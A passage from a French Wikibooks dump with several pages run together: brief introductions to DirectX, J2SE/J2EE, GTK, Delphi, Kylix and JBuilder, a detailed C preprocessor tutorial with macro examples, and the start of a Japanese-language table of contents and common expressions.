l'affichage 3D *DirectDraw : gère l'affichage 2D (intégré a Direct3D depuis la version 8) *DirectInput : gère les périphériques d'entrée (joystick, clavier, etc.) *DirectPlay : gère les échanges de données par réseau (local ou Internet) *DirectSound : gère les sons *DirectMusic : gère la musique (MIDI) *DirectVoice : gère les échanges vocaux en direct *DirectShow : gère l'affichage et la capture de vidéos Programmation J2SE 805 12482 2005-05-07T10:34:27Z NSV 283 *[[Programmation J2SE Introduction|Introduction]] *[[Programmation J2SE JNI|JNI]] *[[Programmation J2SE Threads|Threads]] *[[Programmation J2SE JavaBeans|JavaBeans]] *[[Programmation J2SE AWT|AWT]] *[[Programmation J2SE Swing|Swing]] *[[Programmation J2SE Java2D|Java2D]] *[[Programmation J2SE Java Sound|Java Sound]] {{Programmation}} Programmation J2SE Introduction 806 12483 2004-11-08T20:39:30Z Guillaumito 46 -Fr [[Programmation|<<Retour au sommaire général]] | [[Programmation J2SE|<Retour au sommaire J2SE]] '''Java 2 Standard Edition''' (J2SE) est un framework pour Java publié par Sun. J2SE est destiné à deux fonctions : * Fournir les classes de base du langage. Pour cette raison, J2SE sert de fondation à J2EE. Ces classes ne sont pas décrites dans cette partie, mais dans la partie consacrée à Java. * Fournir les classes nécessaires aux applications destinées au poste client, soit pour un client lourd, soit embarquées dans une page Web (applets). Certaines de ces bibliothèques seront décrits dans la partie consacré à J2EE (RMI, JAXP, JDBC, JNDI). ===Listes des bibliothèques de J2SE=== *JFC **AWT **Swing **Java2D *Java Sound *JNI *Java Threads *JavaBeans *RMI *JAXP *JDBC *JNDI Programmation J2EE 807 12484 2004-11-08T20:09:43Z Guillaumito 46 -Fr [[Programmation|<<Retour au sommaire général]] *[[Programmation J2EE Introduction|Introduction]] *Containers **[[Programmation J2EE Servlets|Servlets]] **[[Programmation J2EE JSP|JSP]] **[[Programmation J2EE JSF|JSF]] **[[Programmation J2EE EJB|EJB]] *ORB **[[Programmation J2EE RMI|RMI]] **[[Programmation J2EE Java-IDL|Java-IDL]] **[[Programmation J2EE JMS|JMS]] *Liaison base de données **[[Programmation J2EE JDBC|JDBC]] **[[Programmation J2EE JDO|JDO]] **[[Programmation J2EE JCA|JCA]] **[[Programmation J2EE JNDI|JNDI]] *XML **[[Programmation J2EE JAXP|JAXP]] **[[Programmation J2EE JAX-RPC|JAX-RPC]] **[[Programmation J2EE JAXM|JAXM]] **[[Programmation J2EE JAXT|JAXT]] *[[Fr Programmation J2EE Java Mail|Java Mail]] *Sécurité **[[Programmation J2EE JCE|JCE]] **[[Programmation J2EE JAAS|JAAS]] *[[Programmation J2EE JMX|JMX]] *[[Programmation J2EE Conclusion|Conclusion]] Programmation J2EE Introduction 808 12485 2004-11-08T20:08:38Z Guillaumito 46 -Fr [[Programmation|<<Retour au sommaire général]] | [[Programmation J2EE|<Retour au sommaire J2EE]] '''Java 2 Enterprise Edition''' (J2EE) est un framework pour Java publié par Sun. J2EE est destiné à fournir les classes pour réaliser des applications serveurs. Dans ce but, J2EE fournit, en plus des conteneurs applicatifs (EJB et servlets), des classes dans des domaines très diversifiées : * Invocation distante de méthodes et d'objets (RMI, IDL, JMS, JAX-RPC, JAXM) * Accès à des sources de données externes : ** Bases de données (JDBC, JDO) ** Annuaires (JNDI) ** Applications externes, par exemple des PGI (JCA) * Traitement XML ** Parsing (JAXP) ** Transformation (JAXT) * Sécurité ** Cryptographie (JCE) ** Authentification (JAAS) * Gestion applicative (JMX) Programmation Qt 809 26324 2005-12-01T12:48:51Z Serenity 885 Broken link [[image:Qt logo.jpg]] * http://fr.wikipedia.org/wiki/Qt (Définition de QT sur Wikipédia) {{Programmation}} Programmation GTK plus 810 12487 2005-06-07T21:16:43Z Guillaumito 46 lien wikipédia [[Image:Gtk.png]] * [[w:fr:GTK|Définition de GTK+ sur Wikipédia]] * [[Programmation GTK2 en C|GTK+ 2 en C]] * [[Programmation GTK2 en Pascal|GTK+ 2 en Pascal]] {{Programmation}} Programmation GTK plus Introduction 811 40079 2006-04-13T08:17:50Z 80.118.132.195 <div style="float:right; margin-right: 5px">[[Image:Gtk.png]]</div> GTK (GIMP Toolkit) a été d'abord développé pour être une boîte à outils pour GIMP (General Image Manipulation Program). GTK est construit sur GDK qui est, avant tout, une encapsulation des fonctions Xlib. On l'appelle « GIMP toolkit » car il fut créé pour développer GIMP, mais il est désormais utilisé dans plusieurs projets de logiciels libres. Les auteurs sont: * Peter Mattis petm@xcf.berkeley.edu * Spencer Kimball spencer@xcf.berkeley.edu * Josh MacDonald jmacd@xcf.berkeley.edu GTK est essentiellement une interface de programmation (API) orientée objet. Bien qu'il soit entièrement écrit en C, il est implanté en utilisant la notion de classes et de fonctions de rappel (pointeurs de fonctions). Programmation Delphi 812 30174 2006-01-24T15:51:55Z Boly38 136 corr lien suite renommage * [[Programmation Delphi/Introduction|Introduction]] [[de:Programmierkurs: Delphi]] [[en:Programming:Delphi]] [[pl:Delphi]] Programmation Delphi/Introduction 813 30170 2006-01-24T15:51:24Z Boly38 136 [[Programmation Delphi Introduction]] déplacé vers [[Programmation Delphi/Introduction]]: renommer en sous section (lien de retour au livre automatique) '''Delphi''' est un environnement de développement intégré pour le langage Pascal sous Windows. Delphi implémente une version orientée objet du langage Pascal. L'environnement de développement s'appuie sur un éditeur d'interface graphique associé à un éditeur de code source. Il doit son succès à sa facilité d'utilisation pour développer des application graphiques et/ou liées aux bases de données. On l'a souvent comparé à Visual Basic de Microsoft pour cette facilité de développement. Edité par Borland. La première version (Delphi 1) était destinée aux versions 16 bits de Windows (Windows 3, 3.1, etc.). Dès la deuxième version, la cible était les Windows 32 bits (Windows 95, NT, etc.). Le logiciel ne change pas radicalement entre chaque version, la différence se fait plus sur des ajouts de composants utilisables dans les programmes et la prise en compte de nouvelles technologies. Delphi est basé sur une bibliothèque de composants nommée Visual Component Library (VCL). C'est le créateur de Turbo Pascal, Anders Hejlsberg qui était un des chefs du projet Delphi chez Borland. Pour la version 6 et la version 7, il existe une version en téléchargement gratuit qui permet d'écrire des programmes sous license GPL (Et seulement sous cette license). Elle a pour nom Edition Personnelle. La première version à utiliser le Frame Work est la version 8 (sortie en Décembre 2003). Elle a pour nom de code Octane et est destinée au développement pour l'environnement .NET de Microsoft. Une version 8 pour Windows 32 bits (non .Net) devrait sortir prochainement. La dernière édition commercialisée par Borland est le version 2006 sortie le 21/01/2006. Une version de delphi 2005 personnelle est cependant disponible gratuitement. Programmation Kylix 814 12491 2004-11-08T20:12:31Z Guillaumito 46 -Fr * [[Programmation Kylix Introduction|Introduction]] Programmation Kylix Introduction 815 25971 2005-11-24T17:02:40Z Marc 66 Kylix est un environnement de développement intégré pour le langage Pascal sous Linux. Edité par Borland. La première version est sortie début 2001, un peu jeune une deuxième a suivi très vite et la dernière qui est la troisième version (Kylix 3) est sortie en juillet 2002. Kylix est un produit très proche de Delphi, même principe, même interface, qui fonctionne sous Linux et qui permet de créer des programmes pour ce système. Le même code source peut-être compilé sous Linux et Windows (respectivement avec Kylix et Delphi) grâce à l'utilisation de la bibliothèque objet CLX qui s'appuie sur la bibliothèque graphique Qt. Il existe une version en téléchargement gratuit qui permet d'écrire des programmes en GPL. Il est à noter que Kylix n'est pas sous licence openSource et ne fonctionne que sur plateforme x86 De plus, il reste dans une logique très monolithique, et s'intègre donc mal aux outils traditionnels et à la culture Unix. Cet outil n'a eu aucun succès auprès de la communauté Linux. Programmation JBuilder 816 12493 2004-11-08T20:17:38Z Guillaumito 46 -Fr * [[Programmation JBuilder Introduction|Introduction]] Programmation JBuilder Introduction 817 12494 2004-11-08T16:38:32Z Traroth 42 cp JBuilder est un environnement de développement intégré pour Java, permettant le RAD, et édité par Borland. L'application est elle-même développée en grande partie en Java. JBuilder apporte certaines fonctionnalités spécifiques, disposant notamment d'une JVM propre, permettant notamment l'exécution de code Java pas à pas. Selon les editions, il ne permet que la réalisation d'applications clientes (J2SE) ou également serveur (J2EE). Des modules supplémentaires, pour les applications mobiles, en particulier pour les téléphones mobiles et les PDA, ou pour les services Web, sont également disponibles. Certaines versions intègrent des solutions de conception UML ou des outils de débuggage et de test. JBuilder est disponible sur Windows, Linux, Solaris et MacOS X. Programmation Glossaire H 818 12495 2005-03-04T21:13:56Z Esope 99 mise en page = '''He''' = * '''Hertz''' : Unité de mesure de la fréquence. Elle est utilisée pour mesurer la vitesse de l'horloge d'un ordinateur. * '''Hexadécimal''' : = '''Ho''' = * '''Horloge''' : Elément matériel d'un ordinateur servant à cadencer un microprocesseur. Le microprocesseur effectue un cycle d'opération à chaque top de l'horloge. = '''Hz''' = * '''Hz''' : Symbole du Hertz. Voir aussi ''Hertz''. {{Programmation Glossaire}} Programmation Auteurs 820 23303 2005-10-15T20:16:38Z Zulul 474 [[Programmation|<Retour au sommaire]] Ont participé à la rédaction de cet ouvrage : #[[:en:User:Traroth|Traroth]] #[[:en:User:DRIDI Gilles|Dridi http://perso.club-internet.fr/cdridi]] #[[:en:User:F8DLJ|F8DLJ]] Fr Programmation GTK plus Introduction 823 12500 2004-11-08T20:06:31Z Guillaumito 46 Fr Programmation GTK plus Introduction déplacé vers Programmation GTK plus Introduction #REDIRECT [[Programmation GTK plus Introduction]] Programmation C Préprocesseur 843 45344 2006-06-21T19:02:26Z Tpierron 79 /* Avertissement et message d'erreur personnalisés */ {{Programmation C}} Le préprocesseur est un langage de macro qui est analysé, comme son nom l'indique, avant la compilation. En fait, c'est un langage complètement indépendant, il est même théoriquement possible de l'utiliser par dessus un autre langage que le C. Cette indépendance fait que le préprocesseur ignore totalement la structure de votre programme, les directives seront toujours évaluées de haut en bas. Ces directives commencent toutes par le symbole dièse ('#'), suivi d'un nombre quelconque de blanc (espace ou tabulation), suivi du nom de la directive en minuscule. Les directives doivent être déclarées sur une ligne dédiée. Les noms standards de directives sont : * <code>define</code> : définit un motif de substitution. * <code>undef</code> : retire un motif de substitution. * <code>include</code> : inclusion de fichier. * <code>ifdef</code>, <code>ifndef</code>, <code>if</code>, <code>else</code>, <code>elif</code>, <code>endif</code> : compilation conditionnelle. * <code>pragma</code> : extension du compilateur. * <code>warning</code> : émettre un avertissement personnalisé. * <code>error</code> : émettre un message d'erreur personnalisé et stopper la compilation. == Déclarations de constantes == <pre> #define CONSTANTE valeur </pre> Permet de substituer dans un code source C la suite de caractères « CONSTANTE » par la ''valeur'' (à l'exception des caractères et des chaines). Par exemple : <pre> #define TAILLE 100 /* La substitution se fera sur la deuxième occurence de TAILLE, mais pas la première */ printf("La constante TAILLE vaut %d\n", TAILLE); </pre> remplacera les occurences de « TAILLE » par « 100 ». Historiquement, les programmeurs avaient pour habitude d'utiliser des majuscules pour distinguer les déclarations du préprocesseur et les minuscules pour les noms de symboles (fonctions, variables, champs, etc.) du compilateur. Ce n'est pas une règle à suivre impérativement, mais elle améliore la lisibilité des programmes. Il est possible de définir plusieurs fois la même « CONSTANTE ». Le compilateur n'émettera un avertissement que si les deux valeurs ne concordent pas. Une définition de constantes peut s'étendre sur plusieurs lignes. Pour cela, il faut que le '''dernier''' caractère de la ligne soit une barre oblique inverse ('\'). En fait dans la section précédente, il était fait mention d'un mécanisme relativement similaire : les énumérations. On peut légitimement se demander ce que ces énumérations apportent en plus par rapport aux directives du préprocesseur. En fait, on peut essentiellement souligner que : * Lors des cas multiples (<code>switch</code>), le compilateur peut vérifier que l'ensemble des cas couvre l'intervalle de valeur du type, et émettre un avertissement si ce n'est pas le cas. Ce qui est évidemment impossible à faire avec des <code>#define</code>. * Là où l'utilité est plus flagrante, c'est lors du débogage. Un bon débogueur peut afficher le nom de l'élément énuméré, au lieu de simplement une valeur numérique, ce qui rends un peu moins pénible ce processus déjà très rébarbatif à la base, surtout lorsque le type en question est une structure avec des dizaines, pour ne pas dire une centaine, de champs. * Certains compilateurs (<code>gcc</code> pour ne citer que le plus connu) n'incluent pas par défaut les symboles du préprocesseur avec l'option standard de débogage (<code>-g</code>), principalement pour éviter de faire exploser la taille de l'exécutable. Si bien que dans un débogueur il est souvent impossible d'afficher la valeur associée à une constante du préprocesseur autrement qu'en fouillant dans les sources. À moins d'avoir un environnement plutôt évolué, cette limitation peut s'avérer très pénible. == Déclarations automatiques == Le langage C impose que le compilateur définisse un certain nombre de constantes. Sans énumérer toutes celles spécifiques à chaque compilateur, on peut néanmoins compter sur : * <code>__FILE__</code> (<code>char *</code>) : une chaîne de caractères représentant le nom de fichier dans lequel on se trouve. Pratique pour diagnostiquer les erreurs. * <code>__LINE__</code> (<code>int</code>) : le numéro de la ligne en cours dans le fichier. * <code>__DATE__</code> (<code>char *</code>) : la date en cours (incluant le jour, le mois et l'année). * <code>__TIME__</code> (<code>char *</code>) : l'heure courante (HH:MM:SS). * <code>__STDC__</code> (<code>int</code>) : cette constante est en général définie si le compilateur suit les règles du C ANSI (sans les spécificités du compilateur). Cela permet d'encadrer des portions de code non portables et fournir une implémentation moins optimisée, mais ayant plus de chance de compiler sur d'autres systèmes. == Déclaration de macros == Une macro est en fait une constante qui peut prendre un certain nombre d'arguments. Les arguments sont placés entre parenthèses après le nom de la macro '''sans espaces''', par exemple : <pre> #define MAX(x,y) x > y ? x : y #define SWAP(x,y) x ^= y, y ^= x, x ^= y </pre> La première macro prend deux arguments et « retourne » le maximum entre les deux. La deuxième est plus subtile, elle échange la valeur des deux arguments (qui doivent être des variables entières), sans passer par une variable temporaire, et ce avec le même nombre d'opérations. La macro va en fait remplacer toutes les occurences de la chaîne « MAX » et de ses arguments par « x > y ? x : y ». Ainsi, si on appelle la macro de cette façon : <pre> printf("%d\n", MAX(4,6)); </pre> Elle sera remplacée par : <pre> printf("%d\n", 4 > 6 ? 4 : 6); </pre> Il faut bien comprendre qu'il ne s'agit que d'une substitution de texte, qui '''ne tient pas''' compte de la structure du programme. Considérez l'exemple suivant, qui illustre une erreur très classique dans l'utilisation des macros : <pre> #define MAX(x,y) x > y ? x : y i = 2 * MAX(4,6); /* Sera remplacé par : i = 2 * 4 > 6 ? 4 : 6; */ </pre> L'effet n'est pas du tout ce à quoi on s'attendait. Il est donc important de bien parenthéser les expressions, justement pour éviter ce genre d'effet de bord. Il aurait mieux fallu écrire la macro <code>MAX</code> de la manière suivante : <pre> #define MAX(x,y) ((x) > (y) ? (x) : (y)) </pre> En fait dès qu'une macro est composée d'autre chose qu'un élément atomique (un lexème, ou un ''token'') il est bon de le mettre entre parenthèses, notamment les arguments qui peuvent être des expressions utilisant des opérateurs ayant des priorités arbitraires. Il est a noter que l'emploi systématique de parenthèses ne protège pas contre tous les effets de bord. En effet : <pre> MAX(x++,y); /* Sera remplacé par : ((x++) > (y) ? (x++) : (y)) */ </pre> Du coup, x est incrémenté de 2 et non pas de 1. La qualité et la performance des compilateurs C modernes fait que l'utilisation de fonctions [[Programmation C Fonctions et procédures#Fonction inline|inline]] est le plus souvent préférable. == Suppression d'une définition == Il arrive qu'une macro/constante soit déjà définie, mais qu'on aimerait quand même utiliser ce nom avec une autre valeur. Pour éviter un avertissement du préprocesseur, on doit d'abord supprimer l'ancienne définition, puis déclarer la nouvelle : <pre> #undef symbole #define symbole nouvelle_valeur </pre> Cette directive supprime le symbole spécifié. À noter que même pour les macros avec arguments, il suffit juste de spécifier le nom de cette macro. Qui plus est, supprimer une variable inexistante, ne provoquera aucun avertissement, ni la moindre erreur. ==Transformation en chaîne de caractères== Le préprocesseur permet de transformer une '''expression''' en chaîne de caractères. Cette technique ne fonctionne donc qu'avec des macros ayant au moins un argument. Pour transformer n'importe quel argument de la macro en chaîne de caractères, il suffit de préfixer le nom de l'argument par le caractère dièse ('#'). Cela peut être utile pour afficher des messages de diagnostique très précis, comme dans l'exemple suivant : <pre> #define assert(condition) \ if( (condition) == 0 ) \ { \ puts( "La condition '" #condition "' a échoué" ); \ exit( 1 ); \ } </pre> À noter qu'il n'existe pas de mécanisme simple pour transformer la ''valeur'' de la macro en chaîne de caractères. C'est le cas classique des constantes numériques qu'on aimerait souvent transformer en chaîne de caractères : le préprocesseur C n'offre malheureusement rien de vraiment pratique pour effectuer ce genre d'opération. ==Concaténation d'arguments== Il s'agit d'une facilité d'écriture pour simplifier les tâches répétitives. En utilisant l'opérateur <code>##</code>, on peut concaténer deux expressions : <pre> #define version(symbole) symbole ## _v123 int version(variable); /* Déclare "int variable_v123;" */ </pre> == Déclaration de macros à nombre variable d'arguments == Ceci est une extension ISO C99. La déclaration d'une macro à nombre variable d'arguments est en fait identique à une fonction, sauf qu'avec une macro on ne pourra pas traiter les arguments supplémentaires un à un. Ces paramètres sont en fait traités comme un tout, via le symbole <code>__VA_ARGS__</code>. Exemple : <pre> #define debug(message, ...) fprintf( stderr, __FILE__ ":%d:" message "\n", __LINE__, __VA_ARGS__ ) </pre> Il y a une restriction qui ne saute pas vraiment aux yeux dans cet exemple, c'est que '''les points de suspension doivent obligatoirement être remplacés par au moins un argument''', ce qui n'est pas toujours très pratique. Malheureusement le langage C n'offre aucun moyen pour contourner ce problème pourtant assez répandu. À noter, une '''extension du compilateur <code>gcc</code>''', qui permet de s'affranchir de cette limitation en rajoutant l'opérateur <code>##</code> à <code>__VA_ARGS__</code> : <pre> /* Extension de gcc pour utiliser la macro sans argument */ #define debug(message, ...) fprintf( stderr, __FILE__ ":%d:" message "\n", __LINE__, ##__VA_ARGS__ ) </pre> Un lien sur l'utilisation de tels macros utilisé pour des <code>printf<code> par exemple [http://www.redhat.com/docs/manuals/enterprise/RHEL-3-Manual/cpp/variadic-macros.html Variadic Macros (Anglais)] == Tests == Les tests permettent d'effectuer de la compilation conditionnelle. La directive <code>#ifdef</code> permet de savoir si une constante ou une macro est définie. Chaque déclaration <code>#ifdef</code> doit obligatoirement se terminer par un <code>#endif</code>, avec éventuellement une clause <code>#else</code> entre. Un petit exemple classique : <pre> #ifdef DEBUG /* S'utilise : debug( ("Variable x = %d\n", x) ); (double parenthésage) */ #define debug(x) printf x #else #define debug(x) #endif </pre> L'argument de la directive <code>#ifdef</code> doit obligatoirement être un symbole du préprocesseur. Pour utiliser des expressions un peu plus complexe, il y a la directive <code>#if</code> (et <code>#elif</code>, contraction de <code>else if</code>). Cette directive utilise des expressions semblable à l'instruction <code>if()</code> du compilateur : si l'expression évaluée est différente de zéro, elle sera considéré comme vraie, et faux si l'expression s'évalue à 0. On peut utiliser l'addition, la soustraction, la multiplication, la division, les opérateurs binaires (&amp;, |, ^, ~, &lt;&lt;, &gt;&gt;), les comparaisons et les connecteurs logiques (&amp;&amp; et ||). Ces derniers sont évalués en circuit court comme leur équivalent C. Les opérandes possibles sont les nombres entiers et les caractères, ainsi que les macros elle-mêmes, qui seront remplacés par leur valeur. À noter l'opérateur spécial <code>defined</code> qui permet de tester si une macro est définie (renvoit donc un booléen). Exemple : <pre> #if defined(DEBUG) && defined(NDEBUG) #error DEBUG et NDEBUG sont définis ! #endif </pre> En fait, il y a un cas particulier où cette directive est très pratique : c'est pour désactiver des pans entier de code sans rien y modifier. Il suffit de mettre une expression qui vaudra toujours zéro, comme : <pre> #if 0 /* Vous pouvez mettre ce que vous voulez ici, tout sera ignoré, même du code invalide */ :-) #endif </pre> À noter qu'au niveau du préprocesseur '''il est impossible d'utiliser les opérateurs du compilateur'''. Notamment l'opérateur <code>sizeof</code>, dont le manque aura fait grincer les dents à des générations de programmeur, sera en fait interprété comme étant une macro. Il faut bien garder à l'esprit que le préprocesseur C est '''totalement''' indépendant du langage C. == Inclusion de fichiers == Il s'agit d'une autre fonctionnalité massivement employée dans toute application C qui se respecte. Comme son nom l'indique, la directive <code>#include</code> permet d'inclure in extenso le contenu d'un autre fichier, comme s'il avait été écrit en lieu et place de la directive. On peut donc voir ça comme de la factorisation de code, ou plutôt de déclarations. On appelle de tels fichiers, des fichiers en-têtes (''header files'') et on leur donne en général l'extension <code>.h</code>. Il est rare d'inclure du code dans ces fichiers (définitions de variables ou de fonctions), principalement parce que ces fichiers sont destinés à être inclus dans plusieurs endroits du programme. Ces définitions seraient donc définies plusieurs fois, ce qui, dans le meilleur des cas, seraient du code superflu, et dans le pire, pourraient poser des problèmes à l'édition des liens. On y place surtout des déclarations de type, macros, prototypes de fonctions relatif à '''un module'''. On en profite aussi pour documenter toutes les fonctions publiques, leurs paramètres, les valeurs renvoyées, les effets de bords, la signification des champs de structures et les pré/post conditions (quel état doit respecter la fonction avant/après son appel). Dans l'idéal on devrait pouvoir comprendre le fonctionnement d'un module, simplement en lisant son fichier en-tête. La directive <code>#include</code> prend en fait un argument : le nom du fichier que vous voulez inclure. Ce nom doit être soit mis entre guillemets doubles ou entre balises (&lt; &gt;). Cette différence affecte simplement l'ordre de recherche du fichier. Dans le premier cas, le fichier est recherché dans le répertoire où le fichier contenant la directive se trouve, puis le préprocesseur regarde à des endroits préconfigurés. Dans le second cas, il regardera seulement dans les endroits préconfigurés. Les endroits préconfigurés sont le répertoire ''include'' par défaut (par exemple <code>/usr/include/</code>, sous Unix) et ceux passés explicitement en paramètre au compilateur. <pre> == fichier.h == void affiche( void ); == fichier.c == #include "fichier.h" int main( void ) { affiche(); return 0; } </pre> C'est comme si <code>fichier.c</code> avait été écrit : <pre> void affiche( void ); int main( void ) { affiche(); return; } </pre> En fait l'argument de la directive <code>#include</code> peut aussi être une macro, dont la valeur est un argument valide (soit une chaîne de caractères, soit un nom entre balises &lt; et &gt;) : <pre> #define FICHIER_A_INCLURE <stdio.h> #include FICHIER_A_INCLURE </pre> À noter un problème relativement récurrent avec les fichiers en-têtes : il s'agit des inclusions multiples. À mesure qu'une application grandit, il arrive fréquemment qu'un fichier soit inclus plusieurs fois à la suite d'une directive <code>#include</code>. Quand bien même les déclarations sont identiques, définir deux types avec le même nom n'est pas permis en C. On peut néanmoins s'en sortir avec cette technique issue de la nuit des temps : <pre> #ifndef __MON_FICHIER_H__ #define __MON_FICHIER_H__ /* Mettre toutes les déclarations ici */ #endif </pre> C'est un problème tellement classique, que le premier réflexe lors de l'écriture d'un tel fichier est de rajouter ces directives. <code>__MON_FICHIER_H__</code> est bien-sûr à adapter à chaque fichier, l'essentiel est que le nom soit unique dans toute l'application. Habituellement on utilise le nom du fichier, mis entre double souligné et le tout en majuscule. == Avertissement et message d'erreur personnalisés == Il peut être parfois utile d'avertir l'utilisateur que certaines combinaisons d'options sont dangeureuses ou carrément invalides. Le préprocesseur dispose d'une directive pour effectuer cela&nbsp;: <pre> #error message </pre> Cette directive affichera en fait le message tel quel, qui peut évidemment contenir n'importe quoi, y compris des caractères réservés, sans qu'on ait besoin de le mettre entre guillement (<code>"</code>). Après émission du message, la compilation s'arrêtera. À noter que certains compilateurs comme GCC proposent aussi la directive&nbsp;: <pre> #warning message </pre> qui permet d'afficher un message sans arrêter la compilation. Table des matières (Japonais) 846 40218 2006-04-14T09:48:52Z Jrcourtois 1354 /* Voir aussi */ [[catégorie:Japonais]] {{japonais}} <center> <TABLE CELLPADDING=10> <TD> <center><small>''日本 (Japon)''</small><br><span style="display:table-cell; border-collapse:collapse; border: solid 1px #BBBBBB;">[[Image:Flag of Japan.svg|125px]]</span></center> <TD> <TD> <big><big>日本語 ~ Français</big></big><br> <big>La langue japonaise</big><p> </TD> <TD> <center><small>''Le blason du Japon''</small><br>[[Image:Japan coa.png]]</center> </TD> </TR> </TABLE> </center> <font color="#cc0000">'''''Note:'''''</font> Pour utiliser ce wikilivre, votre navigateur doit être configuré pour afficher le [[Lire_et_écrire_le_japonais_sous_Windows|japonais sous windows]] et [[Lire_et_écrire_le_japonais_sous_Debian|sous linux(Debian)]]. Si les caractères dans la boîte grise en-dessous apparaissent sous forme de boîtes blanches ou (?) ou autres. alors il faut re-régler votre navigateur. {| border="1" cellspacing="0" cellpadding="6" align="center" | style="background-color:#eeeeee;" | これは日本語の表示テストです。 |} Cette table des matières présente les chapitres principaux de la catégorie : [[:Catégorie:Japonais|Japonais]]. ==[[image:あ_教科書体.png|50 px|Ecriture]] Écriture== *[[Japonais:Romaji|Romaji]] (ローマ字) *[[:Catégorie:Hiragana (Japonais)|Hiragana]](ひらがな) *[[Japonais:Katakana|Katakana]] (カタカナ) *[[Japonais:Kanji|Kanji]] (漢字) ==[[Image:Gnome-speakernotes.png]] [[:Catégorie:Méthode de Japonais|Méthode]] == *[[Introduction à la méthode de japonais|Introduction]] <div style="float:left; width:50%;"> *[[Japonais:Leçon1|Leçon 1]] **[[Japonais:Leçon1:Grammaire|Grammaire]] **[[Japonais:Leçon1:Dialogue|Dialogue]] **[[Japonais:Leçon1:Grammaire (seconde partie)|Grammaire]] **[[Japonais:Leçon1:Exercice|Exercice]] **[[Japonais:Leçon1:Ecriture|Ecriture]] **[[Japonais:Leçon1:Vocabulaire|Vocabulaire]] **[[Japonais:Leçon1:Correction|Correction des exercices]] *[[Japonais:Leçon2|Leçon 2]] **[[Japonais:Leçon2:Grammaire|Grammaire]] **[[Japonais:Leçon2:Dialogue|Dialogue]] **[[Japonais:Leçon2:Grammaire (seconde partie)|Grammaire]] **[[Japonais:Leçon2:Exercice|Exercice]] **[[Japonais:Leçon2:Ecriture|Ecriture]] **[[Japonais:Leçon2:Vocabulaire|Vocabulaire]] **[[Japonais:Leçon2:Correction|Correction des exercices]] *[[Japonais:Leçon3|Leçon 3]] **[[Japonais:Leçon3:Correction|Correction des exercices]] *[[Japonais:Leçon4|Leçon 4]] **[[Japonais:Leçon4:Correction|Correction des exercices]] </div><div style="float:right; width:50%;"> *[[Japonais:Leçon5|Leçon 5]] **[[Japonais:Leçon5:Correction|Correction des exercices]] *[[Japonais:Leçon6|Leçon 6]] **[[Japonais:Leçon6:Correction|Correction des exercices]] *[[Japonais:Leçon7|Leçon 7]] **[[Japonais:Leçon7:Correction|Correction des exercices]] *[[Japonais:Leçon8|Leçon 8]] **[[Japonais:Leçon8:Correction|Correction des exercices]] </div> <br clear=all /> *[[Pool d'exercices (Méthode de japonais)|Pool d'exercices]] *[[Japonais:Prononciation|Prononciation]] NB: *[[Méthode de Japonais:Instructions|Instructions de rédaction]] ==[[Image:Godan.png|50 px]] Grammaire Japonaise== *[[Japonais:Introduction à la grammaire|Introduction]] *[[Japonais:Base du japonais|Base du japonais]] *[[Japonais:Particules simple|Particules simples]]: wa, o and ga *[[Japonais:Noms|Noms]] *[[Japonais:Adjectifs|Adjectifs]] *[[Japonais:Verbes|Verbes]] *[[Japonais:Pronoms|Pronoms]] *[[Japonais:Plus de particules|Plus de particules]] *[[Japonais:Sujets avancés|Sujets avancés]] *[[Japonais:Points de Grammaire|La Grammaire point par point]] == [[Image:Books-aj.svg aj ashton 01.png|50 px]] [[:Catégorie:Glossaires de Japonais|Glossaires]] == *[[Japonais:Vocabulaire Noms|Noms]] <div style="float:left; width:50%;"> **[[Anatomie (Japonais)|Anatomie]] **[[Japonais:Vocabulaire Animaux|Animaux]] **[[Japonais:Vocabulaire Astronomie|Astronomie]] **[[Japonais:Vocabulaire Commerce|Commerce]] **[[Japonais:Vocabulaire Direction|Direction]] **[[Japonais:Famille|Famille]] **[[Japonais:Vocabulaire Glaciologie|Glaciologie]] **[[Japonais:Vocabulaire Jeux vidéo|Jeux vidéo]] **[[Jours (Japonais)|Jours]] (de la semaine, fériés, etc.) </div><div style="float:right; width:50%;"> **[[Japonais:Vocabulaire Justice|Justice]] **[[Japonais:Vocabulaire Nombres|Nombres]] **[[Japonais:Vocabulaire Nourriture|Nourriture]] **[[Japonais:Vocabulaire Mois|Mois]] **[[Japonais:Vocabulaire Musique|Musique]] **[[Japonais:Vocabulaire Pays|Pays]] **[[Japonais:Vocabulaire Saisons|Saisons]] **[[Japonais:Vocabulaire Vêtement|Vêtement]] </div> <br clear=all /> *[[Japonais:Région|Région]] *[[Verbes (japonais)|Verbes]] *[[Japonais:Vocabulaire Adjectifs|Adjectifs]] *[[Couleurs (Japonais)|Couleurs]] *[[Japonais:Vocabulaire Onomatopées|Onomatopées]] *[[Japonais:Vocabulaire Mots interrogatifs|Mots interrogatifs]] *[[Japonais:vocabulaire Yon Kyuu Kanji|四級 Kanji]] *[[Expressions courantes (japonais)|Expressions courantes]] *[[Japonais:Vocabulaire Expressions|Expressions et dictons]] *[[Japonais:Proverbes|Proverbes]] ==Voir aussi== *[[w:Portail:Japon et culture japonaise|Portail Japon et culture japonaise]] sur wikipédia *[[w:Portail:Manga et japanimation|Portail manga et japanimation]] sur wikipédia *[[wikt:Portail:Japonais|portail du japonais]] sur le wiktionnaire [[da:Boghylde:Japansk]] [[de:Japanisch]] [[en:Japanese]] [[es:Japonés]] [[fi:Japanin kieli]] [[ja:日本語]] [[pl:Japoński]] [[pt:Japonês]] [[zh:日语]] Expressions courantes (japonais) 847 43332 2006-05-28T13:07:15Z 84.103.1.95 /* Manger */ [[Japonais:Table des matières|^ Japonais ^]] <center>Voir aussi: [[Japonais:Vocabulaire Expressions|Glossaire: Expressions et dictons]]</center> Même si vous ne projetez pas d'apprendre la langue, il y a de nombreuses expressions qui peuvent être utiles lors d'une visite du Japon. Toutes les expressions sont d'abord transcrites en [[Japonais:Hiragana|Kana]] puis en [[Japonais:Romaji|alphabet Latin]] qui permet aux étudiants dont la langue s'ecrit avec ce dernier une lecture plus facile. ==Salutations== *こんばんは - ''Konban wa'' - bonsoir. *こんにちは - ''Konnichi wa'' - bonjour. *おはよう - ''Ohayō'' – bonjour (le matin). **おはようございます - ''Ohayō gozaimasu'' – version plus polie de bonjour le matin. *おやすみ - ''Oyasumi'' – bonne nuit. **おやすみなさい - ''Oyasumi nasai'' – bonne nuit en plus poli. ==Oui et Non== *はい - ''Hai'' - oui *ええ - ''ee'' - oui (un peu moins formel que はい) *いいえ - ''iie'' - non ==Manger== *めしあがれ - ''Meshiagare'' - Phrase polie avant de commencer à manger ("Bon appétit !") *いただきます - ''Itadakimasu'' – Phrase polie avant de commencer à manger (ne correspond pas à "Bon appétit !" mais qui à plutôt une 